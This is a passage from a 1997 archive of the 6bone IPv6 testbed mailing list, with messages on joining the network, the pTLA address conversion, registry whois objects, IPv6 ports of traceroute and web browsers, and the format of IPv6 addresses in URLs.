From: Craig White <cwhite@ua1ix.ua.edu>
To: bmanning@ISI.EDU
Cc: 6bone@ISI.EDU
Subject: Re: your mail
In-Reply-To: <199709232140.AA26221@zed.isi.edu>
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My face is so red!

1,000,000 pardons requested...

On Tue, 23 Sep 1997 bmanning@ISI.EDU wrote:

> > 
> > subscribe 6bone
> > 
> > 
> 
> Sending this request to the mailing list will not get you your hearts desire.
> Sending this request to the mailing list maint account will greatly improve
> your chances of joy.  What is the list maint account you ask???
> 
> 	6bone-request@isi.edu
> 
> -- 
> --bill
> 


From majordom@ISI.EDU  Wed Sep 24 03:49:27 1997
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From: Craig White <cwhite@ua1ix.ua.edu>
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Subject: Where to attach
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We're connected to BBN planet in Atlanta. Who would be my best tunnel
partner?

Thanks in advance,
-craig



From majordom@ISI.EDU  Sun Sep 28 15:44:24 1997
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Date: Sun, 28 Sep 1997 19:44:24 -0400
To: 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: traceroute,ipv6,solaris
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Hi,
	anyone have converted traceroute (or any related tool) to ipv6 on solari=
s?
Looking for one.

Regards, Marc.
-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagenie inc.			| http://www.viagenie.qc.ca
3107 des hotels		| tel.: 418-656-9254=20
Ste-Foy, Quebec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp: 57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifi=E9, Editions Logiques, 1997
------------------------------------------------------------


From majordom@ISI.EDU  Mon Sep 29 02:05:41 1997
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Date: Mon, 29 Sep 1997 09:05:41 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone hookup web page
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I've just fixed the hookup page

	http://www.6bone.net/6bone_hookup.html

to reflect the new address changes (thanks to Marc Blanchet for reminding
me of this :-).

Please take a look and recommend corrections.  It would be nice to get
better info on setting up the DNS as well.


Thanks,

Bob



From majordom@ISI.EDU  Tue Sep 30 20:16:12 1997
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Date: Tue, 30 Sep 1997 11:16:12 +0900
To: 6bone@ISI.EDU
From: "Kim,younsik" <yskim@dcn.soongsil.ac.kr>
Subject: Question for IPv6 DNS
Cc: ipv6-users-l@austin.ibm.com, netdev@nuclecu.unam.mx
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Hi. 
This is soongsil university in korea.
I'm a gradurated student researching computer network.
We implemented IPv6 over FreeBSD, and it is running.
our IPv6 router is attached to 6bone.
And we implemented DNS server/client for IPv6 resently.
our DNS server support AAAA type.
But 6bone nodes don't know our IPv6 domain name.
How to this?
Please answer me solution.


From majordom@ISI.EDU  Wed Oct  1 15:42:53 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
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Date: Wed, 1 Oct 1997 13:42:53 +0200
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The G6 main node is now fully converted to the addressing plan
in the pTLA 3ffe:0300::/24.
The G6 leaf & transit sub-sites are converting starting now, this
proccess should be finish by Nov. 1st.

	- Alain.

From majordom@ISI.EDU  Wed Oct  1 01:40:07 1997
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Date: Wed, 1 Oct 1997 08:40:07 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: status of 6bone addressing and backbone restructuring conversion
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Well, it is October 1, and the addressing and backbone restructuring
conversion is well underway.  I have enclosed the current status page from:

	(http://www.6bone.net/6bone_pTLA_list.html)

Several sites have not provided me with their status yet.  Please do so.

Thanks,

Bob

=============================================================

ipv6-site name       test prefix     status for conversion
--------------       --------------  ------------------------
INNER/US-VA          3FFE:0000::/24  converted
TELEBIT/DK           3FFE:0100::/24  ready by Oct 1 w/EUI-64
SICS/SE              3FFE:0200::/24  ready by mid-Oct w/EUI-64
G6/FR                3FFE:0300::/24  ready by Oct 1 w/EUI-64
JOIN/DE              3FFE:0400::/24  ready by Oct 1 w/EUI-64
WIDE/JP              3FFE:0500::/24  ready by mid-Oct w/EUI-64
SURFNET/NL           3FFE:0600::/24
ESNET/US             3FFE:0700::/24  ready by Oct 1 W/EUI-64
ISI-LAP/US-CA        3FFE:0800::/24
CICNET/US-IL         3FFE:0900::/24
NWNET/US-WA          3FFE:0A00::/24
VIAGENIE/CA          3FFE:0B00::/24  ready by Oct 1
CISCO/US-CA          3FFE:0C00::/24  ready by Oct 1 w/EUI-64
ANSNET/US-DC         3FFE:0D00::/24
IFB/GB               3FFE:0E00::/24  ready by Oct 1
NRL/US-DC            3FFE:0F00::/24  converted
CSELT/IT             3FFE:1000::/24  ready by Oct 1, wait on Inria, Sun and
Telebit for EUI-64
UUNET-UK/GB          3FFE:1100::/24  ready by Oct 1 w/EUI-64 when Sun delivers
DIGITAL-CA/US        3FFE:1200::/24
BAY/US               3FFE:1300::/24  ready by mid-Oct
UNI-C/DK             3FFE:1400::/24
UO/US-OR             3FFE:1500::/24
NUS-IRDU/SG          3FFE:1600::/24
MREN/US-IL           3FFE:1700::/24  ready by Oct 1 w/EUI-64 when Sun delivers
INTEROP/US           3FFE:1800::/24
3COM /US-CA          3FFE:1900::/24  ready by mid-OCt w/EUI-64
CAIRN/US             3FFE:1A00::/24
reserved             3FFE:1B00::/24 (for VERIO, but no 6bone registry entry
yet)
MERIT/US-MI          3FFE:1C00::/24  ready by Oct 1 w/EUI-64 when Sun delivers
ATT-LABS-EUROPE/CH   3FFE:1D00::/24  ready by Oct 1 w/EUI-64
SWISS-TELECOM/CH     3FFE:1E00::/24
NETCOM-UK/GB         3FFE:1F00::/24
SWITCH/CH            3FFE:2000::/24  ready by Nov 2 w/
JANET/GB             3FFE:2100::/24  ready by Oct 1 w/EUI-64
STUBA/SK             3FFE:2200::/24  ready by Oct 1
INFN-CNAF/IT         3FFE:2300::/24
INR/RU               3FFE:2400::/24
NLNET/NL             3FFE:2500::/24 

-end



From majordom@ISI.EDU  Wed Oct  1 01:39:28 1997
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Date: Wed, 1 Oct 1997 08:39:28 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: maps/diagrams for the 6bone
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

It is time for the issue of updating the 6bone maps.  The current maps are
out of date, and certainly don't reflect the new backbone or recent sites
added.

Andrew Scott, of Lancaster University, has developed several automatically
generated maps based on the new addressing structure.  Take a look at:

http://www.cs-ipv6.lancs.ac.uk/ftp-archive/6Bone/Maps

and specifially look at:

http://www.cs-ipv6.lancs.ac.uk/ftp-archive/6Bone/Maps/backbone.gif


If it is possible these (or a variant) would suffice for our uses, it would
have many advantages over the manually done ones.  I see these advantages
as accuracy, being up-to-date, and, my favorite, no work by me :-)

Disadvantages would be the need to be more disciplined with our 6bone
registry information used to build the maps, and the complexity of
specifying and implementing the automated diagram.


Thus I would like to hear from 6bone participants as to what use the
diagrams are.

Comments to the mailer please.


Thanks,

Bob



From majordom@ISI.EDU  Wed Oct  1 02:31:39 1997
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Date: Wed, 1 Oct 1997 09:31:39 -0700
To: 6bone@ISI.EDU (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: DNS 6bone setup info
Cc: dlee@visc.vt.edu (David Lee)
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I have updated the hookup page for DNS info using David Lee's DNS config
information.  Please see:

	http://www.6bone.net/6bone_hookup.html


Please look at this and let me know if it seems ok.

Comments to the mailer.


Thanks,

Bob



From majordom@ISI.EDU  Wed Oct  1 12:44:20 1997
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Date: Wed, 01 Oct 1997 16:44:20 -0400
To: 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: bb routing 
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Hi,
	In order to avoid multiple BGP peering among the bb sites, I'm thinking
about putting a 6bone route server (like the current route server project
of Merit in the current ipv4 world) so that every bb site can get routes
from it. It can be fed by the registry db entries. Since it requires
correct registries entry, then it has the same disadvantages as the Bob
lancaster-maps proposal.
	I talked to the author of the route server software and the author of th=
e
ipv6 gated. It shouldn't be too difficult to convert it (route server
software) for the 6bone. I can get someone here to do it  (with me).
	Comments? Does it make any sense to have a 6bone route server?=20

Regards, Marc.


-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagenie inc.			| http://www.viagenie.qc.ca
3107 des hotels		| tel.: 418-656-9254=20
Ste-Foy, Quebec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp: 57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifi=E9, Editions Logiques, 1997
------------------------------------------------------------

From majordom@ISI.EDU  Fri Oct  3 06:23:54 1997
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From: davidk@isi.edu
Posted-Date: Fri, 3 Oct 1997 13:23:54 -0700 (PDT)
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	id <AA25706>; Fri, 3 Oct 97 13:23:55 PDT
Subject: hardware failure 6bone registry
To: 6bone@isi.edu
Date: Fri, 3 Oct 1997 13:23:54 -0700 (PDT)
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Hi,

This morning, we experienced a disk crash on the 6bone registry machine.

I have redirected the whois query interface to a mirror backup machine.
The mirror site will show you information from last night. Updates are
currently being queued until a replacement machine is up and running
which is expected to happen by the end of the day. I expect that we will
not experience any data loss, however updates that have been done *after*
last evening will not be visible until the replacement machine is
on-line,

David K.
---

From majordom@ISI.EDU  Fri Oct  3 11:52:22 1997
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From: davidk@isi.edu
Posted-Date: Fri, 3 Oct 1997 18:52:22 -0700 (PDT)
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Hi,

A temporary replacement machine has been setup and is up and running. As
far as I can see, no information is lost. Queries and updates will work
as normal, however since we had to update DNS, whois.6bone.net might
point to the wrong machine for a while. Thus, if you cannot connect to
whois.6bone.net, use brind.isi.edu instead. Also, the automatic lookup of
person/role information, when doing an ipv6-site/inet6num query, is not
supported. The ftp site with raw database files is not supported on the
replacement machine but you can get the same information through the web
site at: http://www.isi.edu/~davidk/6bone/. This service will be
restored, when time allows, later next week.

David K.
---

From majordom@ISI.EDU  Sat Oct  4 21:19:40 1997
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Date: Sat, 04 Oct 1997 12:19:40 +0900
To: 6bone@ISI.EDU
From: "Park, Ilkyun" <grime@dcn.soongsil.ac.kr>
Subject: An IPv6 WWW client
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I am a graduate student at Soongsil graduate school. I want
to run WWW client program over IPv6. Can I get the status of
IPv6 WWW client programs used in 6bone? I have the information
about Inria's MMM Web client, but I want to know about the
others, too.

o_O.............................................
mailto:grime@dcn.soongsil.ac.kr

From majordom@ISI.EDU  Sat Oct  4 14:47:31 1997
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: "Park, Ilkyun" <grime@dcn.soongsil.ac.kr>
Cc: 6bone@ISI.EDU
Subject: Re: An IPv6 WWW client 
In-Reply-To: Your message of Sat, 04 Oct 1997 12:19:40 +0900.
             <3.0.1.32.19971004121940.0068bf6c@dcn.soongsil.ac.kr> 
Date: Sat, 04 Oct 1997 12:47:31 +0200
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 In your previous mail you wrote:

   I am a graduate student at Soongsil graduate school. I want
   to run WWW client program over IPv6. Can I get the status of
   IPv6 WWW client programs used in 6bone? I have the information
   about Inria's MMM Web client, but I want to know about the
   others, too.
   
=> I know there are some IPv6 versions of Mosaic but Mosaic is
not the easiest program to recompile from the sources...
I'd like to do an IPv6 version of Lynx (very nice browser with
a text only interface, very useful for fast browsing (no stupid
blinking images :-) or for testing a page for individual users
(in Europe the bandwidth is incredibly expensive than when you
have to pay for it you disable the load of image fist :-)).
The problem is I don't know if I have the time to do it.
Someone has suggested the Arena browser too...

Regards

Francis.Dupont@inria.fr

PS: if you look at the "ports" collection of FreeBSD you can find:
 - arena-i18n-beta3b
 - chimera-1.65
 - linemode-4.0D
 - lynx-2.7.1
 - mmm-0.40
 - mosaic-2.7b5
 - netscape-2.02
 - netscape-3.01
 - netscape-4.0b3
 - slang-lynx-2.7.1
 - w3-2.2.26
This gives the way to patch and build them too...

From majordom@ISI.EDU  Mon Oct  6 19:15:16 1997
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From: "Rajesh Kr. Semwal" <semwal@ganga.mnrec.ernet.in>
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Hi,
I'm a student of Comp. Sci. and working on a project to implement IPv6
under Linux op. system. Since we do not have an IPv6 router, we wish to
connect ourselves to the 6bone so as to check our implementation by
interacting  with other sites with IPv6. So, how can i get connected to
6bone. For that, what type of software shall i need? Pl. suggest any sites
where I can get more info. regarding 6bone.
Thanx.
Bye. 



From majordom@ISI.EDU  Mon Oct  6 13:03:27 1997
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Date: Mon, 6 Oct 1997 11:03:27 +0200
From: dauphin@sig.enst.fr (Gilles Dauphin)
Message-Id: <199710060903.LAA11292@tomcat.enst.fr>
To: grime@dcn.soongsil.ac.kr, Francis.Dupont@inria.fr
Subject: Re: An IPv6 WWW client
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> From Francis.Dupont@inria.fr Sat Oct  4 17:27:47 1997
> 
> 
> PS: if you look at the "ports" collection of FreeBSD you can find:
>  - arena-i18n-beta3b
>  - chimera-1.65
>  - linemode-4.0D
>  - lynx-2.7.1
>  - mmm-0.40
>  - mosaic-2.7b5
>  - netscape-2.02
>  - netscape-3.01
>  - netscape-4.0b3
>  - slang-lynx-2.7.1
>  - w3-2.2.26
> This gives the way to patch and build them too...
> 

mMosaic-3.2.0 have Ipv6 functionnality too.

Gilles

From majordom@ISI.EDU  Tue Oct  7 14:26:14 1997
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Subject: Comment on 6bone map
From: chong@mail52.mitretek.org (Chongeun Lee)
To: 6bone@ISI.EDU (6bone@isi.edu)
Message-Id: <971007182614.25331@mail52.mitretek.org.0>
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Bob,

Following your input, I looked at 
       
       http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Maps/

and

       http://www.cs-ipv6.lancs.ac.uk/ftp-archive/6Bone/Maps/6Bone.gif

I can see how it would be more efficient to have machine generated
maps/diagrams as more and more sites are being added to 6bone and frequent
changes/updates are being made on the 6bone structure and 6bone database.  

But when you are talking about moving to this new automated map, were you also
planning on changing the design of these maps?   From the user's perspective,
I felt quite dizzy trying to decipher what was written around the circle edge.
 Some words looked overlapped with other letters.  And even if I could read
all of them, it looked too messy for me to do any planning for my testing.  

At the moment, I just wish to be able to see all the pTLA's, NLA's etc. along
with the leaf sites in a clearly legible, well-organized format, plus each
site's information in the 6bone database.  The current 6bone map has served me
very well so far.

Chongeun 


From majordom@ISI.EDU  Tue Oct  7 19:03:24 1997
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Date: Tue, 07 Oct 1997 23:03:24 -0400
To: 6bone@ISI.EDU
From: Marc Blanchet <Marc.Blanchet@viagenie.qc.ca>
Subject: ipv6 panel at a canadian workshop
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Hi,
	I'm looking for people for making a panel on ipv6&6bone at the next CaNe=
t
II workshop, end of november, Montr=E9al, Qu=E9bec. (CaNet II =3D Interne=
t II
equivalent in Canada). Anyone interested in participating? (particularly
canadian people).

Regards, Marc.

-----------------------------------------------------------
Marc Blanchet			| Marc.Blanchet@viagenie.qc.ca
Viagenie inc.			| http://www.viagenie.qc.ca
3107 des hotels		| tel.: 418-656-9254=20
Ste-Foy, Quebec		| fax.: 418-656-0183
Canada, G1W 4W5		| radio: VA2-JAZ
------------------------------------------------------------
pgp: 57 86 A6 83 D3 A8 58 32 F7 0A BB BD 5F B2 4B A7
------------------------------------------------------------
Auteur du livre TCP/IP Simplifi=E9, Editions Logiques, 1997
------------------------------------------------------------

From majordom@ISI.EDU  Sun Oct  8 14:40:01 1997
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To: 6bone@ISI.EDU
Subject: reconnecting IPv6 site.
From: Jan Marius Evang <jane@iaeste.no>
Date: 08 Oct 1997 12:40:01 +0200
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Hi!
After not being connected for a while, We would like to take up out
IPv6 activities again.  I understand the adressing scheeme has
changed, and I get a message from whois to update the "object".

Is teher something written about what I need to change, or should I
just read through everything at www.6bone.net?

Marius

PS. Whois entry at

http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Whois/UIO.html

-- 
-O
Rxyskatt

From majordom@ISI.EDU  Tue Oct  7 21:19:56 1997
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Date: Wed, 8 Oct 1997 04:19:56 -0700
To: chong@mail52.mitretek.org (Chongeun Lee)
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Comment on 6bone map
Cc: "Scott, Andrew" <scotta@exchange.lancs.ac.uk>,
        6bone@ISI.EDU (6bone@isi.edu)
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Chongeun ,

At 3:26 PM -0700 10/7/97, Chongeun Lee wrote:
>Bob,
>
>Following your input, I looked at
>
>       http://www.cs-ipv6.lancs.ac.uk/ipv6/6Bone/Maps/
>
>and
>
>       http://www.cs-ipv6.lancs.ac.uk/ftp-archive/6Bone/Maps/6Bone.gif
>
>I can see how it would be more efficient to have machine generated
>maps/diagrams as more and more sites are being added to 6bone and frequent
>changes/updates are being made on the 6bone structure and 6bone database.
>
>But when you are talking about moving to this new automated map, were you also
>planning on changing the design of these maps?   From the user's perspective,
>I felt quite dizzy trying to decipher what was written around the circle edge.
> Some words looked overlapped with other letters.  And even if I could read
>all of them, it looked too messy for me to do any planning for my testing.
>
>At the moment, I just wish to be able to see all the pTLA's, NLA's etc. along
>with the leaf sites in a clearly legible, well-organized format, plus each
>site's information in the 6bone database.  The current 6bone map has served me
>very well so far.

These are important points and ones I want to address before I settle on
this technique as the only map generation method.

Thanks for your comments...and stay tuned as Andrew and I work on this.


Thanks,

Bob



From majordom@ISI.EDU  Thu Oct  9 09:21:03 1997
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Date: Thu, 9 Oct 1997 16:21:03 -0700
To: Jan Marius Evang <jane@iaeste.no>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: reconnecting IPv6 site.
Cc: 6bone@ISI.EDU
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Marius,

At 3:40 AM -0700 10/8/97, Jan Marius Evang wrote:
>Hi!
>After not being connected for a while, We would like to take up out
>IPv6 activities again.  I understand the adressing scheeme has
>changed, and I get a message from whois to update the "object".

Yes it has, and you need new implementations to use it - ones that support
AGGR and EUI-64.  The 6bone web pages for hookups has some info on this.
Take a look:

	http://www.6bone.net/6bone_hookup.html

>Is teher something written about what I need to change, or should I
>just read through everything at www.6bone.net?

There is also the info I've sent via the 6bone mail list.  See below.


Let me know if you need more info...and suggestions as to what should be
added to the web pages to make this clearer.


Thanks,

Bob

====
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone test address registry facility started up

6bone folk,

David Kessens has setup his new inet6num object in the 6bone registry to
allow us to assign, with delegation, the new IPv6 test addresses.

To this end, a top level object has been assigned to me for the new test
TLA with a netname of TEST-TLA-6BONE, with an inet6num value of 3FFE::/16
(see below).  You can reference this object, as well as other new inet6num
objects, by using the 6bone whois query:

	http://www.6bone.net/whois.html

This object is the owner, if you will, of all objects below it.  However,
it is my intention to assign pTLAs as delegated objects and then let them
sub-delegate.

Thus I have created (with some automatic help from David Kessens) the pTLA
objects below the test TLA.  I have shown a sample object below (the one
for TELEBIT).  All pTLAs have been assigned using their existing 6bone
registry ipv6-name as their netname within the inet6num object.

The exceptions to this are MREN, 3COM and VERIO which have not made their
6bone registry entries yet.  They must create their 6bone registry entries
if they wish to use their pTLA assignment (I will create their inet6num
objects as soon as their entries are created).

You should note that the "mnt-by" and "mnt-lower" fields are set to a new
maintainer object created for your site that has the name "MNT-netname"
with the value set to the "notify" value for your site.  You can change
this as you will, but the important thing to note is that the "mnt-lower"
assignment is the person that gets to delegate other inet6num objects below
your site's pTLA assignment.

I think this is enough for now to get you thinking.  Please address
questions to the list, copied to David and me, so we can all learn.


Thanks,

Bob

=============================================
inet6num:    3FFE::/16
netname:     TEST-TLA-6BONE
descr:       Test Address Space for the 6bone
country:     AT AU BE CA CH DE DK ES FI FR GB
country:     HU IE IT JP KR KZ NL NO PL PT RO RU
country:     SE SG SK TW US
admin-c:     RLF1-6BONE
tech-c:      BM2-6BONE
tech-c:      DK13-RIPE
rev-srv:     ns.isi.edu
rev-srv:     imag.imag.fr
remarks:     contact RLF1-6BONE for allocation of a pTLA
remarks:     contact BM2-6BONE for reverse delegations
remarks:     contact DK13-RIPE for issues regarding the 6bone registry
remarks:     version 3
mnt-by:      RLF1-6BONE
mnt-lower:   RLF1-6BONE
changed:     davidk@ISI.EDU 19970908
changed:     rlfink@lbl.gov 19970909
source:      6BONE

==========================
inet6num:    3FFE:100::/24
netname:     TELEBIT
descr:       pTLA delegation for the 6bone
country:     DK
admin-c:     HHA1-6BONE
tech-c:      HHA1-6BONE
mnt-by:      MNT-TELEBIT
mnt-lower:   MNT-TELEBIT
changed:     RLFink@lbl.gov 19970909
source:      6BONE

-end



From majordom@ISI.EDU  Tue Oct 10 11:17:57 1997
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To: Bob Fink <RLFink@lbl.gov>
Cc: Jan Marius Evang <jane@iaeste.no>, 6bone@ISI.EDU
Subject: Re: reconnecting IPv6 site.
References: <v0310281eb0631448faa9@[128.3.9.22]>
From: Jan Marius Evang <jane@iaeste.no>
Date: 10 Oct 1997 09:17:57 +0200
In-Reply-To: Bob Fink's message of Thu, 9 Oct 1997 16:21:03 -0700
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  >> Bob Fink writes:

  BF> Yes it has, and you need new implementations to use it - ones
  BF> that support AGGR and EUI-64. The 6bone web pages for hookups
  BF> has some info on this. Take a look:

OK. I suppose the newest Linux kernels and Cisco IOS (IPv6) has this?
Or is it just the tools?

  BF> http://www.6bone.net/6bone_hookup.html

  >> Is teher something written about what I need to change, or should
  >> I just read through everything at www.6bone.net?

  BF> There is also the info I've sent via the 6bone mail list. See
  BF> below.


  BF> Let me know if you need more info...and suggestions as to what
  BF> should be added to the web pages to make this clearer.

When I make it work, I'll see if a mini-howto is needed :-)

  BF> This object is the owner, if you will, of all objects below it.
  BF> However, it is my intention to assign pTLAs as delegated objects
  BF> and then let them sub-delegate.

This means that I need to have a pTLA delegated to for instance Norway?
Or is this already done?

  BF> sample object below (the one for TELEBIT). All pTLAs have been
  BF> assigned using their existing 6bone registry ipv6-name as their
  BF> netname within the inet6num object.


  BF> TELEBIT descr: pTLA delegation for the 6bone country: DK
  BF> admin-c: HHA1-6BONE tech-c: HHA1-6BONE mnt-by: MNT-TELEBIT
  BF> mnt-lower: MNT-TELEBIT changed: RLFink@lbl.gov 19970909 source:
  BF> 6BONE

So I shopuld update all these fields in the "whois database"?

Thanks for you help, I'll have a look at that web page.

Marius


-- 
-O
Rxyskatt

From majordom@ISI.EDU  Sun Oct 12 17:01:23 1997
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Date: Sun, 12 Oct 1997 23:01:23 -0600 (MDT)
From: "J. Paul Reed" <preed@psd.k12.co.us>
Reply-To: "J. Paul Reed" <preed@psd.k12.co.us>
To: 6bone@ISI.EDU
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To 6bone listers:

Hi. I just subscribed the the 6bone mailing list (sorry for that null
message; that was my fault). Allow me to introduce myself; my name's J.
Paul Reed.

I'm doing a project for an Extended Essay I'm doing on IPv4 vs. IPv6 
(this is for the International Baccalaureate program, www.ibo.org.uk, if
you've never heard of it). As part of this project, I wanted to hook
Poudre School District (my home school district) up to the 6bone to get
the experience of actually connecting an IPv6 host up to a network. I
would then analyze the connection process as part of the essay.

Unfortunately, the two 6bone nodes I've sent email to have completely
ignored me, so I was wondering if there was someone out here who might be
able to help me (us) by agreeing to give the first public K12 school
district a tunneled connection!

I was also wondering if someone could give me a time estimate of how long
it would take to get an address block and get ourselves registered because
(big surprise) I have procrastinated and there is a time element on this
project.

If anyone could help, that'd be great!

Thanks for your time!

Later,
Paul
   -------------------------------------------------------------------
   J. Paul Reed                 preed@psd.k12.co.us || paul@619pro.com
   Computer, you and I need to have a little talk...
                     --Chief Miles O'Brien, "Emissary," Star Trek: DS9
   Geek Code and various other frivolities at www.psd.k12.co.us/~preed



From majordom@ISI.EDU  Mon Oct 13 16:38:45 1997
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From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: query re IPv6 URL format
To: 6bone@ISI.EDU
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Hi,

Has anybody implemented a Web browser that accepts IPv6 numeric
addresses as part of a URL, and if so what format did you use?

(to be clear, I am after the IPv6 equivalent of
the existing URL format such as http://194.196.110.160/~bc/ )

(also to be clear, the RFC 1884 syntax will break existing
browsers)

  Thanks for any info

    Brian Carpenter

From majordom@ISI.EDU  Tue Oct 14 11:49:18 1997
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From: dauphin@sig.enst.fr (Gilles Dauphin)
Message-Id: <199710140749.JAA20365@tomcat.enst.fr>
To: 6bone@ISI.EDU, brian@hursley.ibm.com
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> From brian@hursley.ibm.com Mon Oct 13 20:56:47 1997
> 
> Hi,
> 
> Has anybody implemented a Web browser that accepts IPv6 numeric
> addresses as part of a URL, and if so what format did you use?
> 
> (to be clear, I am after the IPv6 equivalent of
> the existing URL format such as http://194.196.110.160/~bc/ )
> 
> (also to be clear, the RFC 1884 syntax will break existing
> browsers)

Here is a comment I found in mMosaic . file libwww2/HTTCP.c :
	/* manage only non numeric adresses */
	/* RFC 2133 */

Gilles

From majordom@ISI.EDU  Tue Oct 14 10:20:43 1997
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From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: query re IPv6 URL format
To: 6bone@ISI.EDU
In-Reply-To: <199710140749.JAA20365@tomcat.enst.fr> from "Gilles Dauphin" at Oct 14, 97 09:49:18 am
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In other words they punted.

Thanks

    Brian

>- Gilles Dauphin said:
> 
> 
> > From brian@hursley.ibm.com Mon Oct 13 20:56:47 1997
> > 
> > Hi,
> > 
> > Has anybody implemented a Web browser that accepts IPv6 numeric
> > addresses as part of a URL, and if so what format did you use?
> > 
> > (to be clear, I am after the IPv6 equivalent of
> > the existing URL format such as http://194.196.110.160/~bc/ )
> > 
> > (also to be clear, the RFC 1884 syntax will break existing
> > browsers)
> 
> Here is a comment I found in mMosaic . file libwww2/HTTCP.c :
> 	/* manage only non numeric adresses */
> 	/* RFC 2133 */
> 
> Gilles
> 


From majordom@ISI.EDU  Tue Oct 14 13:07:06 1997
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: brian@hursley.ibm.com
Cc: 6bone@ISI.EDU
Subject: Re: query re IPv6 URL format 
In-Reply-To: Your message of Mon, 13 Oct 1997 15:38:45 BST.
             <9710131438.AA21266@hursley.ibm.com> 
Date: Tue, 14 Oct 1997 11:07:06 +0200
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 In your previous mail you wrote:

   Has anybody implemented a Web browser that accepts IPv6 numeric
   addresses as part of a URL, and if so what format did you use?
   
   (to be clear, I am after the IPv6 equivalent of
   the existing URL format such as http://194.196.110.160/~bc/ )
   
   (also to be clear, the RFC 1884 syntax will break existing
   browsers)
   
=> I believe the agreement is to implement only the name format
for URL and X11 displays (in both cases hexadecimal litteral addresses
break the whole thing). I know there is something similar in IETF minutes
for RFC 822 (ie bc@[194.196.110.160] has no equivalent for IPv6).
It is not a problem because IPv6 litterals are not for humans, ie
not very suitable for good user interfaces...

Regards

Francis.Dupont@inria.fr

From majordom@ISI.EDU  Mon Oct 13 23:45:10 1997
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References: Your message of Mon, 13 Oct 1997 15:38:45 BST.            
 <9710131438.AA21266@hursley.ibm.com>
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To: Francis Dupont <Francis.Dupont@inria.fr>
From: Steve Deering <deering@cisco.com>
Subject: Re: query re IPv6 URL format
Cc: brian@hursley.ibm.com, 6bone@ISI.EDU
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At 2:07 AM -0700 10/14/97, Francis Dupont wrote:
> => I believe the agreement is to implement only the name format
> for URL and X11 displays (in both cases hexadecimal litteral addresses
> break the whole thing). I know there is something similar in IETF minutes
> for RFC 822 (ie bc@[194.196.110.160] has no equivalent for IPv6).
> It is not a problem because IPv6 litterals are not for humans, ie
> not very suitable for good user interfaces...

I thought the decision was to express the IPv6 address in hexadecimal
without the ":"s, i.e., just 32 contiguous hex digits, which is even
less user-friendly than the standad represenatation, but at least
usable by humans in a pinch and certainly usable by automatons.

Steve



From majordom@ISI.EDU  Tue Oct 14 16:23:27 1997
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From: "(Brian E Carpenter)" <brian@hursley.ibm.com>
Subject: Re: query re IPv6 URL format
To: deering@cisco.com (Steve Deering)
Cc: Francis.Dupont@inria.fr, brian@hursley.ibm.com, 6bone@ISI.EDU
In-Reply-To: <v03110700b0692626a4be@[171.69.199.124]> from "Steve Deering" at Oct 14, 97 06:45:10 am
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If that was the decision then we need to codify it and tell
the world. I could live with it, if the URL parsers can handle
it. I'll check that with the URL guys.

  Brian


>- Steve Deering said:
> 
> At 2:07 AM -0700 10/14/97, Francis Dupont wrote:
> > => I believe the agreement is to implement only the name format
> > for URL and X11 displays (in both cases hexadecimal litteral addresses
> > break the whole thing). I know there is something similar in IETF minutes
> > for RFC 822 (ie bc@[194.196.110.160] has no equivalent for IPv6).
> > It is not a problem because IPv6 litterals are not for humans, ie
> > not very suitable for good user interfaces...
> 
> I thought the decision was to express the IPv6 address in hexadecimal
> without the ":"s, i.e., just 32 contiguous hex digits, which is even
> less user-friendly than the standad represenatation, but at least
> usable by humans in a pinch and certainly usable by automatons.
> 
> Steve
> 
> 
> 


From majordom@ISI.EDU  Tue Oct 14 20:40:25 1997
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: Steve Deering <deering@cisco.com>
Cc: brian@hursley.ibm.com, 6bone@ISI.EDU
Subject: Re: query re IPv6 URL format 
In-Reply-To: Your message of Tue, 14 Oct 1997 06:45:10 PDT.
             <v03110700b0692626a4be@[171.69.199.124]> 
Date: Tue, 14 Oct 1997 18:40:25 +0200
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 In your previous mail you wrote:

   I thought the decision was to express the IPv6 address in hexadecimal
   without the ":"s, i.e., just 32 contiguous hex digits, which is even
   less user-friendly than the standad represenatation, but at least
   usable by humans in a pinch and certainly usable by automatons.
   
=> I see two problems with this new proposal:
 - it doesn't work with standard cut and paste
 - it is still ambiguous because it has the same syntax than
   a name (ie a label of a DNS host name).

Regards

Francis.Dupont@inria.fr

From majordom@ISI.EDU  Tue Oct 14 03:11:06 1997
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References: Your message of Tue, 14 Oct 1997 06:45:10 PDT.            
 <v03110700b0692626a4be@[171.69.199.124]>
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Date: Tue, 14 Oct 1997 10:11:06 -0700
To: Francis Dupont <Francis.Dupont@inria.fr>
From: Steve Deering <deering@cisco.com>
Subject: Re: query re IPv6 URL format
Cc: brian@hursley.ibm.com, 6bone@ISI.EDU
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At 9:40 AM -0700 10/14/97, Francis Dupont wrote:
>  In your previous mail you wrote:
>
>    I thought the decision was to express the IPv6 address in hexadecimal
